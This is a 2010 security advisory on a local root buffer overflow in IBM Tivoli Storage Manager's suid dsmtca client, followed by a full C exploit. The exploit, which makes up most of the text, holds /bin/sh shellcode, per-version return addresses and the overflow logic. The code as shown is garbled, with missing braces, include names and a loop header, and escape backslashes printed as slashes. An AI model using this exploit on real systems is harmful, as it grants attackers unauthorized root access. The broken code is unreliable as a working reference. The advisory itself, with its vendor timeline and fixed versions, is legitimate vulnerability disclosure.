IBM Tivoli Storage Manager (TSM) Local Root

http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt

ca.txt

ca-exploit.c

==-===-=====-=======-===========-=============-=================

IBM Tivoli Storage Manager (TSM) Local Root

Kryptos Logic, December 2010

=====[ Timeline

Vendor Contacted...........: 2009-12-14

Fix from Vendor............: 2010-12-14

Advisory Published.........: 2010-12-15

=====[ Affected Versions

Vulnerable:

IBM TSM 6.1: 6.1.0.0 through 6.1.3.0

IBM TSM 5.5: 5.5.0.0 through 5.5.2.7

IBM TSM 5.4: 5.4.0.0 through 5.4.3.3

IBM TSM 5.3: 5.3.0.0 through 5.3.6.7

- Potentially older versions of IBM TSM dsmtca

Not vulnerable:

IBM TSM 6.1.4

IBM TSM 5.5.3

IBM TSM 5.4.3.4

IBM TSM 5.3.6.10

See IBM advisory IC65491 for details:

http://www.ibm.com/support/docview.wss?uid=swg21454745

=====[ Vulnerability

When IBM TSM communicates with the suid root backup client

dsmtca, it is handled through pipes. The function

GeneratePassword() does not perform boundary checking, which can

lead to a classic stack based buffer overflow - making local

code execution possible.

=====[ Exploitation

The LANG environment variable gets copied to a fixed location in

memory. An attacker can achieve arbitrary code execution by

placing his shellcode in the variable, and then overwrite the

return address of GeneratePassword() with the known address that

the value is copied to.

=====[ Credits

Discovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic.

Exploit developed by Peter Wilhelmsen and Morten Shearman

Kirkegaard, Kryptos Logic.

=====[ About Kryptos Logic

Kryptos Logic is a group of talented computer security experts

from around the globe that has coalesced into a highly effective

team. We provide a wide range of security products ranging from

binary analysis, instrusion management systems, anti-piracy, and

digital rights management software. We also perform

state-of-the-art research on emerging attack vectors and threats

to current digital infrastructure.

http://www.kryptoslogic.com/

/*

* IBM Tivoli Storage Manager 6.1 - Local Root in DSMTCA GeneratePassword

* Copyright (C) 2009-2010 Kryptos Logic

*

* Bug discovered by Peter Wilhelmsen and Daniel Kalici.

* Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard.

* http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt

*/

#include

char shellcode[] =

"/x31/xc0/x31/xdb/x31/xc9/xb0/x46/xcd/x80/xeb/x1d"

"/x5e/x88/x46/x07/x89/x46/x0c/x89/x76/x08/x89/xf3"

"/x8d/x4e/x08/x8d/x56/x0c/xb0/x0b/xcd/x80/x31/xc0"

"/x31/xdb/x40/xcd/x80/xe8/xde/xff/xff/xff/bin/sh";

enum arguments {

tcaProgramPath,

tcaDebugStop,

tcaAlertString,

tcaPipe0,

tcaPipe1,

tcaPipe2,

tcaPipe3,

tcaPswdFileName,

tcaLang,

tcaErrorLog,

tcaDsDir,

tcaRequest,

tcaSessID,

tcaServerName,

tcaPasswordFile,

tcaPasswordDir,

tcaBuildData,

tcaBuildTime,

tcaCliType,

tcaTraceTrusted,

tcaClusterEnabl,

tcaCryptoType,

tcaTerminate,

tcaArgCount

};

/* Find the buflen (56 in this case) in GeneratePassword().

* .text:0805B056 _Z16GeneratePasswordhiiP12pswdFileInfoPcS1_S1_S1_S1_ proc near

* ...

* .text:0805B155 lea eax, [ebp-56]

* .text:0805B158 mov [esp+4], eax ; buf

* .text:0805B15C mov [esp], edi ; fd

* .text:0805B15F call _read

* Set the retaddr (0x083C7100 in this case) to the Locale export.

* .data:083C7100 Locale db 55h dup(0) ; DATA XREF: .got:Locale_ptro

struct {

char *name;

int buflen;

uint32_t retaddr;

} versions[] = {

{ "5.5.1.4-linux-i386", 40, 0x0826E7E0 },

{ "5.5.2.0-linux-i386", 40, 0x08278180 },

{ "6.1.0.0-linux-i386", 56, 0x08356520 },

{ "6.1.3.0-linux-i386", 56, 0x083C7100 },

{ NULL }

void SpawnTask(char *argv[])

{

pid_t pid;

signal(SIGCHLD, SIG_IGN);

pid = fork();

if (pid == -1) {

perror("fork() failed");

exit(EXIT_FAILURE);

}

if (pid != 0) {

return;

signal(SIGINT, SIG_IGN);

signal(SIGTERM, SIG_IGN);

signal(SIGQUIT, SIG_IGN);

signal(SIGPIPE, SIG_IGN);

signal(SIGSEGV, SIG_IGN);

signal(SIGXFSZ, SIG_IGN);

signal(SIGTSTP, SIG_IGN);

signal(SIGABRT, SIG_IGN);

execv(argv[0], argv);

perror("execv() failed");

void exploit(int v)

int pfd[2];

int cfd[2];

char p0[16];

char p1[16];

char p2[16];

char p3[16];

char buffer[64];

uint8_t len;

char *args[tcaArgCount];

len = versions[v].buflen + 8;

if (len > sizeof(buffer)) {

fprintf(stderr, "versions[%d].buflen > %d/n",

v, (int)sizeof(buffer));

setenv("LANG", shellcode, strlen(shellcode));

if((pipe(pfd) == -1) || (pipe(cfd) == -1))

perror("pipe() failed");

sprintf(p0, "%d", pfd[0]);

sprintf(p1, "%d", pfd[1]);

sprintf(p2, "%d", cfd[0]);

sprintf(p3, "%d", cfd[1]);

args[tcaProgramPath ] = "/opt/tivoli/tsm/client/ba/bin/dsmtca";

args[tcaDebugStop ] = "0";

args[tcaAlertString ] = "TCA Interr/bfacee/b ADSM Release 3";

args[tcaPipe0 ] = p0;

args[tcaPipe1 ] = p1;

args[tcaPipe2 ] = p2;

args[tcaPipe3 ] = p3;

args[tcaPswdFileName] = "/etc/adsm/TSM.PWD";

args[tcaLang ] = "/opt/tivoli/tsm/client/lang/en_US/dsmclientV3.cat";

args[tcaErrorLog ] = "/var/log/dsmerror.log";

args[tcaDsDir ] = "/opt/tivoli/tsm/client/ba/bin";

args[tcaRequest ] = "C";

args[tcaSessID ] = "NODE";

args[tcaServerName ] = "SERVER";

args[tcaPasswordFile] = "/etc/adsm/TSM.PWD";

args[tcaPasswordDir ] = "";

args[tcaBuildData ] = "AASATRG";

args[tcaBuildTime ] = "DMESEEG";

args[tcaCliType ] = "";

args[tcaTraceTrusted] = "0";

args[tcaClusterEnabl] = "0";

args[tcaCryptoType ] = "1";

args[tcaTerminate ] = (char *)NULL;

SpawnTask(args);

close(pfd[0]);

close(cfd[1]);

/* 0805A7BD call _read( fd, buf, 1 ) */

write(pfd[1], "/x41", 1);

/* 0805A7DD call _read( fd, var_AAA, 1 ) */

/* 0805A7FD call _read( fd, var_5BB, 1 ) */

write(pfd[1], &len, 1);

/* 0805A824 call _read( fd, var_28, var_5BB ) */

memset(buffer, 'A', sizeof(buffer));

*(uint32_t *)(buffer + len - 4) = versions[v].retaddr;

write(pfd[1], buffer, len);

/* read the response, needed to make GeneratePassword() return */

read(cfd[0], buffer, sizeof(buffer));

close(pfd[1]);

close(cfd[0]);

void usage(char *path)

int i;

fprintf(stderr, "Usage: %s version/n", path);

fprintf(stderr, "/n");

fprintf(stderr, "Where /"version/" is one of:/n");

for (i=0; versions[i].name; i++) {

fprintf(stderr, "%s/n", versions[i].name);

int main(int argc, char *argv[])

if (argc != 2) {

usage(argv[0]);

return EXIT_FAILURE;

if (strcmp(argv[1], versions[i].name) == 0) {

exploit(i);

return EXIT_SUCCESS;